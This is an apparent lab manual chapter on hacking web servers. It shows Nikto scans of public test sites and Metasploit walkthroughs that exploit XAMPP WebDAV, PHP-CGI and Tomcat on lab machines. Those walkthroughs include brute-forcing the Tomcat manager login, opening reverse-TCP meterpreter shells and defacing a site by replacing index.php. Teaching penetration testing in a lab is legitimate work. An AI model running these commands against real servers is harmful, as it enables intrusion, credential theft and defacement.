Chapter 13

Hacking Web Servers

Lab Manual

THIS DOCUMENT INCLUDES ADDITIONAL PRCTICALS WHICH MAY OR MAY NOT BE COVERED DURING CLASSROOM TRAINING. FOR MORE DETAILS APPROACH LAB COORDINATORS

INDEX

Practical 1: Scanning Web Server using Nikto

Nikto is used to identify vulnerabilities and misconfiguration on the server that hosts web applications.

Nikto -h <target web site>

```
root@kali:~# nikto -h http://testphp.vulnweb.com
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          176.28.50.165
+ Target Hostname:    testphp.vulnweb.com
+ Target Port:        80
+ Start Time:         2018-04-29 17:46:22 (GMT5.5)
---------------------------------------------------------------------------
+ Server: nginx/1.4.1
+ Retrieved x-powered-by header: PHP/5.3.10-1~lucid+2uwsgi2
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the u
+ The X-Content-Type-Options header is not set. This could allow the user a
```

This tool will list possible vulnerabilities that can help an attacker to gain access to the target server. In the above screenshot, the target website http://testphp.vulnweb.com is not running ***XSS-Protection Header*** (possibility of XSS vulnerability) and ***anti-clickjacking X-Frame-Options header*** which can allow attackers to perform web-application based attacks on the target website.

```
root@kali:~# nikto -h http://www.altoromutual.com
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          65.61.137.117
+ Target Hostname:    www.altoromutual.com
+ Target Port:        80
+ Start Time:         2018-04-29 16:36:25 (GMT5.5)
---------------------------------------------------------------------------
+ Server: Microsoft-IIS/8.0
+ Retrieved x-aspnet-version header: 2.0.50727
+ Retrieved x-powered-by header: ASP.NET
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint
+ The X-Content-Type-Options header is not set. This could allow th
ferent fashion to the MIME type
+ Cookie amSessionId created without the httponly flag
+ No CGI Directories found (use '-C all' to force check all possibl
+ OSVDB-630: IIS may reveal its internal or real IP in the Location
ue is "http://192.168.1.117/images/".
+ Multiple index files found: /default.aspx, /default.htm
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
```

Practical 2: Hacking webserver using Metasploit framework

To run Metasploit Framework, execute the following commands in terminal

service postgresql start

msfconsole

search for ***xampp_webdav***

```
msf > search xampp_webdav
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                          Disclosure Date  Rank
   ----                                          ---------------  ----
   exploit/windows/http/xampp_webdav_upload_php  2012-01-14       excellent
Upload
```

Load exploit by executing the following command

```
msf > use exploit/windows/http/xampp_webdav_upload_php
```

To view the exploit options, execute ***show options*** command

```
msf exploit(windows/http/xampp_webdav_upload_php) > show options

Module options (exploit/windows/http/xampp_webdav_upload_php):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME                   no        The filename to give the payload.
dom)
   PASSWORD  xampp            no        The HTTP password to specify for
   PATH      /webdav/         yes       The path to attempt to upload
   Proxies                    no        A proxy chain of format type:host
][...]
   RHOST                      yes       The target address
   RPORT     80               yes       The target port (TCP)
   SSL       false            no        Negotiate SSL/TLS for outgoing co
   USERNAME  wampp            no        The HTTP username to specify for
   VHOST                      no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

set the RHOST value

```
msf exploit(windows/http/xampp_webdav_upload_php) > set RHOST 192.168.1.101
RHOST => 192.168.1.101
```

Set meterpreter payload

```
msf exploit(windows/http/xampp_webdav_upload_php) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
```

Set payload options (LHOST and LPORT)

```
msf exploit(windows/http/xampp_webdav_upload_php) > set LHOST 192.168.1.112
LHOST => 192.168.1.112
msf exploit(windows/http/xampp_webdav_upload_php) > set LPORT 12345
LPORT => 12345
```

Execute the ***exploit*** to gain access to web server.

```
msf exploit(windows/http/xampp_webdav_upload_php) > exploit

[*] Started reverse TCP handler on 192.168.1.112:12345
[*] Uploading Payload to /webdav/4Gygquh.php
[*] Attempting to execute Payload
[*] Sending stage (37775 bytes) to 192.168.1.101
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (192.168.1.112:12345 -> 192.168.1.101:49238)
+0530

meterpreter >
```

Practical 3: Hacking web server with the help of vulnerability in PHP.

This practical works on web servers running **PHP** version 5.2.4. In this case, we are considering Metasploitable2 OS as target machine.

Load Metasploit Framework

```
root@kali:~# service postgresql start
root@kali:~# msfconsole -q
```

search and load the exploit.

```
msf > search php_cgi_arg

Matching Modules
================

   Name                                       Disclosure Date  Rank
   ----                                       ---------------  ----
   exploit/multi/http/php_cgi_arg_injection   2012-05-03       excellent


msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) >
```

Verify and configure required exploit options. Set a meterpreter payload to gain more control on the target server.

```
msf exploit(php_cgi_arg_injection) > show options

Module options (exploit/multi/http/php_cgi_arg_injection):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   PLESK        false            yes       Exploit Plesk
   Proxies                       no        A proxy chain of format type:host:por
   RHOST                         yes       The target address
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connec
   TARGETURI                     no        The URI to request (must be a CGI-han
   URIENCODING  0                yes       Level of URI URIENCODING and padding
   VHOST                         no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

```
msf exploit(php_cgi_arg_injection) > set RHOST 192.168.232.143
RHOST => 192.168.232.143
msf exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(php_cgi_arg_injection) > set LHOST 192.168.232.136
LHOST => 192.168.232.136
```

Once everything is configured, execute the ***exploit*** command to gain reverse connection.

```
msf exploit(php_cgi_arg_injection) > exploit

[*] Started reverse TCP handler on 192.168.232.136:4444
[*] Sending stage (37775 bytes) to 192.168.232.143
[*] Sleeping before handling stage...
[*] Meterpreter session 2 opened (192.168.232.136:4444 -> 192.168.232.143:47443)
```

With the help of the meterpreter session, we can deface the website located in the web root of the target server. Execute ***ls*** command and look for the index.php page, remove or replace this page with customized php page.

```
meterpreter > ls
Listing: /var/www
=================
Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
41777/rwxrwxrwx   4096   dir   2012-05-20 15:30:29 -0400  dav
40755/rwxr-xr-x   4096   dir   2012-05-20 15:52:33 -0400  dvwa
100644/rw-r--r--  891    fil   2012-05-20 15:31:37 -0400  index.php
40755/rwxr-xr-x   4096   dir   2012-05-20 15:22:48 -0400  mutillidae
40755/rwxr-xr-x   4096   dir   2012-05-20 15:22:48 -0400  phpMyAdmin
100644/rw-r--r--  19     fil   2012-05-20 15:22:48 -0400  phpinfo.php
40755/rwxr-xr-x   4096   dir   2012-05-20 15:22:48 -0400  test
40775/rwxrwxr-x   20480  dir   2012-05-20 15:22:48 -0400  tikiwiki
40775/rwxrwxr-x   20480  dir   2012-05-20 15:22:48 -0400  tikiwiki-old
40755/rwxr-xr-x   4096   dir   2012-05-20 15:22:48 -0400  twiki
```

```
meterpreter > rm index.php
meterpreter > upload index.php .
[*] uploading  : index.php -> .
[*] uploaded   : index.php -> ./index.php
```

Practical 4: Hacking Tomcat Web Server with Metasploit Framework.

This practical works on web servers running **tomcat server** version 5.5. In this case, we are considering Metasploitable2 OS as target machine.

Start Metasploit framework

```
root@kali:~# service postgresql start
root@kali:~# msfconsole -q
```

At first, we need to crack username and password of tomcat service. Search for ***tomcat*** and select auxiliary module to crack the password

```
msf > search tomcat

Matching Modules
================

   Name                                                     Disclosure Date  Rank
   ----                                                     ---------------  ----
   auxiliary/admin/http/tomcat_administration                                normal
   auxiliary/admin/http/tomcat_utf8_traversal               2009-01-09       normal
   auxiliary/admin/http/trendmicro_dlp_traversal            2009-01-09       normal
   auxiliary/dos/http/apache_commons_fileupload_dos         2014-02-06       normal
   auxiliary/dos/http/apache_tomcat_transfer_encoding       2010-07-09       normal
 DoS
   auxiliary/dos/http/hashcollision_dos                     2011-12-28       normal
   auxiliary/scanner/http/tomcat_enum                                        normal
   auxiliary/scanner/http/tomcat_mgr_login                                   normal
   exploit/multi/http/struts_code_exec_classloader          2014-03-06       manual
on
   exploit/multi/http/struts_dev_mode                       2012-01-06       excellent
   exploit/multi/http/tomcat_jsp_upload_bypass              2017-10-03       excellent
   exploit/multi/http/tomcat_mgr_deploy                     2009-11-09       excellent
ode Execution
   exploit/multi/http/tomcat_mgr_upload                     2009-11-09       excellent
   exploit/multi/http/zenworks_configuration_management_upload  2015-04-07   excellent
load
   post/multi/gather/tomcat_gather                                           normal
   post/windows/gather/enum_tomcat                                           normal
```

Load auxiliary, verify options and configure ***RHOSTS, RPORT*** values

```
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(scanner/http/tomcat_mgr_login) > show options

Module options (auxiliary/scanner/http/tomcat_mgr_login):

   Name              Current Setting
   ----              ---------------
   BLANK_PASSWORDS   false
   BRUTEFORCE_SPEED  5
   DB_ALL_CREDS      false
n the current database
   DB_ALL_PASS       false
ase to the list
   DB_ALL_USERS      false
to the list
   PASSWORD
ntication
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
e
   Proxies
[,type:host:port][...]
   RHOSTS
ifier
   RPORT             8080
   SSL               false
ions
   STOP_ON_SUCCESS   false
for a host
   TARGETURI         /manager/html
```

```
ager/html
   THREADS           1
   USERNAME
ntication
   USERPASS_FILE     /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt
parated by space, one pair per line
   USER_AS_PASS      false
ll users
   USER_FILE         /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt
   VERBOSE           true
ts
   VHOST
```

```
msf auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
RPORT => 8180
msf auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS 192.168.232.143
RHOSTS => 192.168.232.143
```

Execute ***exploit*** command to crack username and password of tomcat service.

```
[-] 192.168.232.143:8180 - LOGIN FAILED: tomcat:manager (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: tomcat:role1 (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: tomcat:root (Incorrect)
[+] 192.168.232.143:8180 - Login Successful: tomcat:tomcat
[-] 192.168.232.143:8180 - LOGIN FAILED: both:admin (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: both:manager (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: both:role1 (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: both:root (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: both:tomcat (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: both:s3cret (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: both:vagrant (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: j2deployer:j2deployer (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: ovwebusr:OvW*busr1 (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: cxsdk:kdsxc (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: root:owaspbwa (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: ADMIN:ADMIN (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: xampp:xampp (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: QCC:QLogic66 (Incorrect)
[-] 192.168.232.143:8180 - LOGIN FAILED: admin:vagrant (Incorrect)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

In the results, a line which shows ***Login Successful*** indicates username, password of tomcat service.

Now, as we know login credentials, we can start exploiting the target. Search for tomcat in Metasploit framework and select ***exploit/multi/http/tomcat_mgr_deploy***

```
msf auxiliary(scanner/http/tomcat_mgr_login) > search tomcat

Matching Modules
================

   Name                                                     Disclosure Date  Rank
   ----                                                     ---------------  ----
   auxiliary/admin/http/tomcat_administration                                normal
   auxiliary/admin/http/tomcat_utf8_traversal               2009-01-09       normal
   auxiliary/admin/http/trendmicro_dlp_traversal            2009-01-09       normal
   auxiliary/dos/http/apache_commons_fileupload_dos         2014-02-06       normal
   auxiliary/dos/http/apache_tomcat_transfer_encoding       2010-07-09       normal
 DoS
   auxiliary/dos/http/hashcollision_dos                     2011-12-28       normal
   auxiliary/scanner/http/tomcat_enum                                        normal
   auxiliary/scanner/http/tomcat_mgr_login                                   normal
   exploit/multi/http/struts_code_exec_classloader          2014-03-06       manual
on
   exploit/multi/http/struts_dev_mode                       2012-01-06       excellent
   exploit/multi/http/tomcat_jsp_upload_bypass              2017-10-03       excellent
   exploit/multi/http/tomcat_mgr_deploy                     2009-11-09       excellent
ode Execution
   exploit/multi/http/tomcat_mgr_upload                     2009-11-09       excellent
   exploit/multi/http/zenworks_configuration_management_upload  2015-04-07   excellent
load
   post/multi/gather/tomcat_gather                                           normal
   post/windows/gather/enum_tomcat                                           normal
```

Load exploit and configure ***HttpPassword, HttpUsername*** to above-gathered password and username of tomcat service. ***RHOST***, ***RPORT*** to target's IP address and port number respectively.

```
msf auxiliary(scanner/http/tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy
msf exploit(multi/http/tomcat_mgr_deploy) >
```

```
msf exploit(multi/http/tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword                   no        The password for the specified username
   HttpUsername                   no        The username to authenticate as
   PATH          /manager         yes       The URI path of the manager app (/deploy
   Proxies                        no        A proxy chain of format type:host:port[,
   RHOST                          yes       The target address
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connectio
   VHOST                          no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

```
msf exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat
HttpUsername => tomcat
msf exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat
HttpPassword => tomcat
msf exploit(multi/http/tomcat_mgr_deploy) > set RHOST 192.168.232.143
RHOST => 192.168.232.143
msf exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
```

Configure a payload from available list of payloads and set payload options.

```
msf exploit(multi/http/tomcat_mgr_deploy) > show payloads

Compatible Payloads
===================

   Name                              Disclosure Date  Rank    Description
   ----                              ---------------  ----    -----------
   generic/custom                                     normal  Custom Payload
   generic/shell_bind_tcp                             normal  Generic Command Shell,
   generic/shell_reverse_tcp                          normal  Generic Command Shell,
   java/meterpreter/bind_tcp                          normal  Java Meterpreter, Java
   java/meterpreter/reverse_http                      normal  Java Meterpreter, Java
   java/meterpreter/reverse_https                     normal  Java Meterpreter, Java
   java/meterpreter/reverse_tcp                       normal  Java Meterpreter, Java
   java/shell/bind_tcp                                normal  Command Shell, Java Bin
   java/shell/reverse_tcp                             normal  Command Shell, Java Rev
   java/shell_reverse_tcp                             normal  Java Command Shell, Rev
```

```
msf exploit(multi/http/tomcat_mgr_deploy) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf exploit(multi/http/tomcat_mgr_deploy) > set LHOST 192.168.232.136
LHOST => 192.168.232.136
```

```
msf exploit(multi/http/tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   HttpPassword  tomcat           no        The password for the specified username
   HttpUsername  tomcat           no        The username to authenticate as
   PATH          /manager         yes       The URI path of the manager app (/deploy
   Proxies                        no        A proxy chain of format type:host:port[,
   RHOST         192.168.232.143  yes       The target address
   RPORT         8180             yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connectio
   VHOST                          no        HTTP server virtual host


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.232.136  yes       The listen address (an interface may be specifi
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

Execute ***exploit*** command to gain meterpreter session.

```
msf exploit(multi/http/tomcat_mgr_deploy) > exploit

[*] Started reverse TCP handler on 192.168.232.136:4444
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6260 bytes as HuNl7PAr.war ...
[*] Executing /HuNl7PAr/QCbsYfEbWMTrnIagJSEgxYlfk7WR86.jsp...
[*] Undeploying HuNl7PAr ...
[*] Sending stage (53837 bytes) to 192.168.232.143
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (192.168.232.136:4444 -> 192.168.232.143:60943)
```

```
meterpreter > sysinfo
Computer    : metasploitable
OS          : Linux 2.6.24-16-server (i386)
Meterpreter : java/linux
meterpreter > pwd
/
```